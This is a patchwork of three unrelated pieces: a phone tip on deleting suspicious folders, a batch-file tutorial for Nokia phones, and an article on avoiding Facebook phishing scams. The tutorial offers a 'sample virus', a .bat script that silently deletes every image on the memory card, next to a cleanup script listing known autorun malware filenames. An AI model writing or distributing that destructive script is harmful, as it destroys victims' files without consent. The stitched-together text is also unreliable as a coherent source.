HOW DELETE HARMFUL VIRUS FROM YOUR S40 PHONE

First of all,get an app called file explorer.. ,then after dwnlding 

it.. First b4 opening it,make sure u set ur app at always 

allow=i.e,goto options,data app access,den u see what u are 

suppose to do... Then open d app,go through the C/: nd E/:,make 

sure you check all the folders in dere..and in case you see 

anything or folders that ain't in ur Phone before in there..jst 

make sure you delete dat cuz it may be a virus... press 

option,scroll to delete nd press ok,it will ask some alway 

acces,keep on pressing ok untill you dnt see dat file anymore...

Also you will see some folders lyk autoroun nd so on dat can't be

able to delete..dnt worry there is an easy trick to do dat..

Loading... Jst press option,scroll to properties..u will find

something lyk read only hidden write user incase all is been 

marked,jst unmark all,den mark the (read only) then save 

dat..after saving,then try deleting the folder..it will be deleted 

succesfully..try it for all unknown folders you saw there nd 

enjoy!

S40 nd s60 virus creation using bat extention

BATCH FILE PROGRAMMES

caution : we r not responsible for ur output

please do at ur own risk

This can work in both s40 and s60

to run in s40 you require

mini commander

here i'm going to explain you with a sample virus and anti viruse.......

1)open any text editor in the minicommander and

2)type like this.........

@ECHO OFF

echo ...

echo Scanning root for image files

echo ...

cd /E:/

del *.bmp

del *.png

del *.gif

del *.jpg

:END

3)rename that from .txt to .bat

this is an image deleting viruse which deletes images in mmc ie. E:// if it is in any other folder it won't deletes.................

try at your ownrisk

anti virus:

same process replace .png, .bmp etc with virus names

here is the sample file

@ECHO OFF

echo ...

echo Scanning root for virulent autorun files

echo ...

cd /E:/

del arvirus.bat

del autorun.inf

del auto.exe

del autorun.ini

del autorun.pif

del autorun.vbs

del autorun.exe

del autorun.bat

del autorun.cmd

del autorun.hta

del avpo.exe

del Bha.dll.vbs

del ctfmon.exe

del copy.exe

del destrukto.vbs

del host.exe

del Heap41a

del killvbs.vbs

del KHATRA.exe

del host.exe

del imvo.exe

del Macromedia_Setup.exe

del mmc.exe

del msvcr71.dl

del ntde1ect.com

del nideiect.com

del ntdelect.com

del oso.exe

del Ravmon.exe

del RavMonE.exe

del RVHost.exe

del spoclsv.exe

del soundmix.exe

del svchost.exe

del semo2X.exe

del tel.exe.vbs

del utdetect.com

del VBS_RESULOWS.A

del windows.scr

echo ...

:END

;save it and rename it from .txt to .bat and run using minicommander

antivirus by satyajit sahoo....modification by arjunkr

PRODUCED by TABSHEER ABDULLA aka ferocioustabsheer

5 Tips & Tricks To Avoid Facebook Phishing Scams

We’ve already warned readers about a few of the more recent Facebook phishing scams, but it would seem that a new scam is coming out for every new member that joins the site. While it’s best to stay vigilant and read up on the latest scams to avoid, there are a few other tips that will keep you ahead of the game, protecting your profile 24 hours a day.

With all of your personal information and photographs posted on Facebook, the last thing you want is to find that your account has been hacked or accessed without your permission. We’ve put together a list of ways that you can protect yourself from the latest scams, making sure that your Facebook account is never compromised. Also be sure to check out Tina’s article on how to get instant alerts about the latest threats, whether on Facebook, or anywhere else on the web.

Follow The Sophos Blog

Antivirus developers, Sophos, report on the latest Facebook phishing scams practically on a daily basis on their blog, Naked Security. There seems to be no limit to the rogue applications preying on people’s curiosity, or the desire to activate certain features on their Facebook profiles through these apps. Sophos is one of the best sources today when it comes to Facebook scams.

SafeGo

BitDefender’s SafeGo is a Facebook application designed to keep users aware and protected from spam and any kind of threat that might be floating around Facebook. SafeGo scans your profile for any suspicious links, and you also have the option of allowing the app to automatically post a comment to your wall when a threat is detected.

Facebook Security

Another place to find tips and tricks to stay safe on Facebook comes directly from the source. Facebook’s Security page is constantly being updated with ways to protect your account.

Look For The Signs

Aside from all of these tips and tricks, the most important thing that any person can do is use common sense. See who it was that posted the link and ask yourself how likely it is that they would share something that begins with OMG You won’t believe this! or would they really write to you, through Facebook of all means, if they were stranded in a strange city?

If you receive emails that claim to be from Facebook, always analyse the email address they came from and the link they want you to click. Facebook notifications always come from Facebookmail.com.

What To Do If You Unwittingly Clicked That Link?

If you feel that you may have been the victim of a Facebook phishing scam, the first thing you should do is change your Facebook password. If you’ve linked your Facebook account to other online services, it would probably be best to change the passwords to those services as well.

If you’ve granted permission to an application, you can revoke permission through your privacy settings. Navigate to your Privacy Settings, and at the bottom of the page, click ‘Edit your settings‘ under Apps and Websites.

You will be taken to a page featuring the latest apps you’ve authorised. Click the ‘Edit settings‘ button.

From there you can delete any apps that you have mistakenly authorised by clicking the small ‘x’ next to the app.

How do you keep your Facebook profile safe? Have you been the victim of any phishing attacks? How did you deal with it? Let us know in the comments.